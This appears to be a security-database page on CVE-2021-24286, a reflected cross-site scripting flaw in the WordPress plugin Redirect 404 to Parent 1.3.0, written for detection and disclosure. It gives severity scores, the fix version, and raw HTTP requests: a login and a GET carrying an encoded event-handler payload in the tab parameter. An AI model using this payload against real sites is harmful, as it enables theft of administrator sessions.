🔙 목록으로 돌아가기

CVE-2021-24286: WordPress Plugin Redirect 404 to Parent 1.3.0 - Cross-Site Scripting

TitleWordPress Plugin Redirect 404 to Parent 1.3.0 - Cross-Site Scripting
Authorr3Y3r53
SeverityMedium
ImpactAttackers can inject malicious JavaScript via reflected XSS in the settings page, potentially stealing administrator session cookies or performing administrative actions.
RemediationFixed in version 1.3.1
CVSS Score6.1
EPSS Score0.52303
CVE IDCVE-2021-24286
CWE IDCWE-79
Tags cve2021 cve xss wordpress wpscan authenticated exploitdb wp-plugin mooveagency vuln

🔍 Vulnerability Description

The settings page of the plugin did not properly sanitise the tab parameter before outputting it back, leading to a reflected Cross-Site Scripting issue.

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Safari/605.1.15
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

log=Bbhoyx&pwd=C4JsDI&wp-submit=Log+In
GET /wp-admin/options-general.php?page=moove-redirect-settings&tab=%22+style%3Danimation-name%3Arotation+onanimationstart%3D%22alert%28document.domain%29%3B HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24286.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-24286.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A